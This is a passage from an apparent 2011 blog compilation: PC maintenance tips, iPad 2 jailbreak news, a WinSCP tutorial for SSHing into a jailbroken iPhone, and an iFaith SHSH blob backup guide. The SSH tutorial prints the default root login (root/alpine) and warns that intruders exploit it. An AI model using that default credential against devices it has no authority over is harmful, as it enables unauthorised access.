9.Program Bugs / Incompatible programs - Unupdated programs could lead to unresponsive performance and usual debugging process which could slow down your system and can makes you annoy. Old programs could not cope up the new system requirement without updates. It's like an Antivirus program the more updated, the more intelligent to detect malicious programs.

***It's important to read an instruction or the software manual before installing those stuff in your system to ensure compatibility and to avoid unknown potentials adverse effects.***

10. Lack of PC Maintenance and User problem - Another top reason why you encounter problems with your PC is when the user
has no knowledge on how to care / maintain the system health. I have notice that a lot of wealthy and ambitious people (No intend to offense) buys expensive gadgets and while it is new they are enjoying on it but when they encounter just a little problem on it they think to buy the new on than repairing it. Why I know these things? Because I am a Computer Technician and I encounter those attitudes from my client. You know ,most of the problem of my client has been encountered can be fix or the problem can be avoid easily if they have a basic knowledge on it but they rely on us. On the other side, if all people knows how to repair their PC then, you're not a having a client and no extra income! (very right)

System maintenance includes:
1. Repairing your PC
2. Updating all your programs ( OS, Drivers, Applications, AV's, BIOS, etc.),
3. Upgrading your hardware and software
4. Monitoring your Machine ( CPU Temperature, Performance, Network)
5. Securing Your Systems (Installing Antivirus, Virus Scanner/ Blocker, Antimalware / Spyware, Firewalling, Encryption, Ethical Hacking, Adding Security Policy, etc.
6. Cleaning your PC frequently.

Almost of the maintenance concerns is related from 1-9 tips. Now, if you miss the maintenance it’s no impossible that your PC will becomes slow.

Final Impression:
User knowledge is very important because it will solve many problems around by themselves. Just Study and Experience!
May some of the reasons are not present in your situation but I promise you will meet them someday.

Here’s Everything You Need To Know About iPad 2 Jailbreak On iOS 4.3.5

shakira15 — Mon, 12 Sep 2011 07:16:53 GMT

Here’s Everything You Need To Know About iPad 2 Jailbreak On iOS 4.3.5

It’s been little over a week since Apple scrambled to release iOS 4.3.4 to plug the easily jailbreakable 4.3.3, and already another update has surfaced which addresses "certificate validation" vulnerabilities, and unfortunately, just like iOS 4.3.4, those of you that own an iPad 2 on iOS 4.3.5 can no longer jailbreak, not even tethered like other devices.

Although the PDF exploit made 4.3.3 very simple to jailbreak over at JailbreakMe.com, it also left non-jailbroken users susceptible to exploits of more sinister overtones. Now, two updates later at 4.3.5, it seems now that any pre-iOS 5 untethered jailbreak for those of you on 4.3.4 or 4.3.5 is about as likely as Apple releasing one itself. It wouldn’t be worthwhile for the hackers who have spent in excess of six months searching and testing a fully operational iPad 2 jailbreak, and who now will probably be focusing their efforts on the forthcoming iOS 5, a much improved and updated operating system.

If you have currently jailbroken your iPad 2 on iOS 4.3.3, DO NOT update to 4.3.4, 4.3.5 or any subsequent updates. Apple has now had two opportunities to patch the software so stay exactly where you are. If you have updated, you’re only saving grace is if you have backed up your SHSH blobs on 4.3.3. If so, and you own the WiFi model iPad (doesn’t work on the 3G model, sorry!) then you can downgrade now by following this guide. If you’re unsure if you have, Cydia may have come to your rescue and backed them up for you, (recall selecting a "make my life easier" option?), so it’s definitely worth checking if they have been saved. If they haven’t, then unfortunately you’re going to have to persevere with what you have until the next untethered jailbreak is released.

With the clock ticking ever closer to iOS 5, many thought that 4.3.4 would be the final installment of iOS 4 updates. With the jailbreak community well and truly rocked by these last couple of updates, it seems now we can safely assume that we will not be seeing anymore. Although the Cupertino company always has a surprise or two up its sleeve and always likes to keep the jailbreaking community on its toes, so we shall see. One thing is for certain, we can’t wait for a proper notifications system!

For devices other than iPad 2, you can use Redsn0w to tether-jailbreak iOS 4.3.5 on iPhone 4, 3GS, iPad 1 and iPod touch 3G/4G.

How to SSH your iDevice

shakira15 — Mon, 12 Sep 2011 07:04:32 GMT

How to SSH your iDevice

What is SSH?

SSH stands for Secure SHell.

It is just a protocol that allows you to access your iPhone or iPod Touch from your desktop PC or MAC and execute commands on it (thus allowing you to copy any kind of data to and from the iPhone or iPod Touch without iTunes). It’s also used for a lot of customization things if you know what you’re doing.

You can use a program like Cyberduck on MAC or WinSCP on Windows and you can browse your iPhone or iPod Touch like any other hard drive and explore it’s content (which can be very interesting).

In this tutorial, I’m going to show you how to SSH into iPhone using WinSCP.

NOTE: This guide requires your iPhone/ iPod Touch to be connected to a wireless network. And also, all the images instruction are from top left to right then bottom left to right. Thanks.

In order to SSH into your iPhone you need to Jailbreak iPhone first. Use one of the guide to jailbreak iPhone:

http://www.jailbreakmatrix.com/chart

How to SSH into iPhone using WinSCP

Step 1 – Install OpenSSH

a. Go to Cydia from your Springboard
b. Go to Sections tab at the bottom of the screen.
c. Under the Sections list, choose Networking.
d. Locate and Select OpenSSH from the list.
e. Hit the Install button at the top right of the screen.
f. Then hit the Confirm button
After the installation is completed successfully, Press the big Return to Cydia button.

WARNING: Now that you’ve installed OpenSSH now you’re vulnerable to external intruders with the default root password for SSH. Attacks on jailbroken iPhone with SSH installed with default password are increasing. So, we strongly recommend you to change your default root password used to SSH into iPhone before proceeding further. Follow the link below to change your SSH root password to Protect your iPhone/iPod Touch from intruders:

http://www.iphoneheat.com/2009/11/ho…e-your-iphone/

Step 2 – Obtaining IP Address

Now you need to obtain the IP Address of your iPhone or iPod Touch.
a. To obtain the IP address go to Settings.
b. Under the Settings Menu, go to Wi-Fi.
c. Make sure you’re connected to a wireless network. Press the Blue circled arrow button.
Voila! There you will find your IP address. Please note that IP address.

Step 3 – SSH with WinSCP

Make sure your PC is on the same wireless network that of your iPhone.

Download WINSCP here: http://sourceforge.net/projects/winscp/

Once WinSCP is opened, enter the following detailes:
a. Host Name: IP Address of your iPhone/iPod
Username: root
Password: alpine
Now hit the Login button.

ATTENTION: On an iPhone 3GS, you will need to change the File Protocol to SCP. The default is most likely SFTP. Just select the arrow next to the option and select SCP.

b. WinSCP will start connecting to your iPhone.
c. If a Warning dialogue box appears, click Yes
d. Finally, after a few second you’ll be logged into your iPhone using WinSCP.
e. You can access all your iPhone or iPod Touch folders from the right navigation pane. or use the drop down menu on the right side.

If you want to transfer a file from your PC to your iPhone, simply locate the file you want to copy from your PC using the left pane. Then navigate to the desired location on you iPhone using the right pane. Now to copy the file to your iPhone, just drag it from the left pane to the right pane. Presto!

How To Save SHSH Blobs Of Any Old Firmware Running On Your iPhone, iPad, iPod touch Using iFaith [Tutorial]

How To Save SHSH Blobs Of Any Old Firmware Running On Your iPhone, iPad, iPod touch Using iFaith [Tutorial]

iH8Sn0w, a Toronto-based iPhone developer, released iFaith, a new SHSH blob dumper for all iOS devices which can save SHSH files of any firmware running on your device even if Apple is not signing it.

We all know that backing up SHSH blobs allows users to easily downgrade devices in the future, by simply restoring the device using iTunes. The problem is that once Apple stops signing the old firmware, there is no way to get SHSH blobs for it. This is where iFaith comes in, it allows users to dump SHSH files for the old firmware running on the device even if Apple is not signing the firmware.

The project, which had been in development since January 30, was first teased one week ago on Twitter on its own account, @projectif. At last, the developer live streamed an announcement today, which was broadcast out to hundreds of people at its high point.

iFaith, as the project is called, allows users to effortlessly back up SHSH blobs of any firmware on the device even if Apple is not signing it, making it effortless to downgrade the device’s firmware in the future.

SHSH blobs were first introduced by Apple on the iPhone 3GS, and been part of every device ever since, as a way to prevent users from downgrading their devices. Attempted downgrades would simply fail on iTunes.

iFaith works by backing up blobs from old firmwares, currently running on the device for later use, onto iFaith’s own remote server. That way you can upgrade your phone and just downgrade it later through iTunes, basically the way we’d do it before Apple introduced SHSH blobs, as long as the blob has been backed up.

iFaith allows users to visualize all backed up blobs, as well as build custom .ipsw’s using those blobs. Custom IPSW’s can then be used to restore the device using iTunes.

The Windows version of iFaith can be downloaded right now from iH8Sn0w’s website, while the Mac counterpart will be available soon. The Toronto based developer also hinted at the possibility of open-sourcing the software later on, although no decisions have been made on the matter.

iFaith works with the devices which are susceptible to the limera1n jailbreak exploit such as iPhone 3GS, iPhone 4, iPod touch 3G, iPod touch 4G, the first-generation iPad and the Apple TV 2G. iPad 2 is not supported.

Follow the instructions posted below to save SHSH blob for any old firmware which is currently running on your iPhone, iPad, iPod touch using iFaith:

1. Download iFaith for Windows.

2. Start the program and click on ‘Dump SHSH Blobs’ button as shown in the screenshot below.

3. Hit the ‘Proceed’ button, followed by ‘Let’s Go!’ until the program asks you to enter DFU mode.

4. Follow the on-screen instructions to enter DFU mode:

Hold Power and Home buttons for 10 seconds
Now release the Power button but continue holding the Home button for 10 more seconds
You device should now be in DFU mode

Once the DFU mode on the device is detected, iFaith will automatically start the process of dumping SHSH blob. This may take a while.

5. Once the process is completed, iFaith will ask you to save the SHSH blob on local disk.

In addition to this, iFaith will also automatically save a copy of this file on its server.

That’s it! The SHSH blob for your iOS device has been backed up successfully for later use!

For those of you who don’t know, iH8Sn0w has been pretty well-known inside the iOS jailbreak community over the past year or so. He has developed simple applications such asf0recast, which allows users to check whether their devices are jailbreakable and unlockable; and Sn0wbreeze, a well-known iPad and iPhone custom .IPSW builder that supports jailbreaking, along with custom boot images, SSH and more.

You can follow us on Twitter or join our Facebook fanpage to keep yourself updated on all the latest from Microsoft, Google and Apple.
